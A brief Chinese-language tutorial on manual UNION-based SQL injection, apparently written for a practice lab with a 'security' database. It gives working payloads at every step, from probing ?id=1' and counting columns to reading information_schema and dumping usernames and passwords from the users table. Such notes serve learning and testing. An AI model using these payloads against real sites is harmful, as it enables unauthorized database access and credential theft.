检测注入点
在url末尾输入?id=1’,请求中的参数为:查询字符串id:1(字符型漏洞要在id后面加上‘,数字型不需要)
-
判断是否存在SQL注入可能
在末尾加上 and 1=1 --+,返回正常,加上and 1 = 2,报错,说明SQL语句被执行,没有过滤
-
数据库字段爆破
url id=1' order by 1 --+后面的数字逐渐加1,直到id=m报错
-
数据库表爆破
?id=n union select 1,2,3,4,... //n是当id等于n的时候,正好报错,1,2,3,4...可以一直写到m,判断回显位置
-
判断数据库信息
?id=n union select 1,database(),3,user(),...两个位置是回显位置,找到数据库
-
查找所有的数据表名
?id=n union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security'--+
-
爆表中的列名
?id=n union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') -- //column是列的意思,table是表的意思,information_schema是数据库系统自带的库
-
爆账号密码
?id=n union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+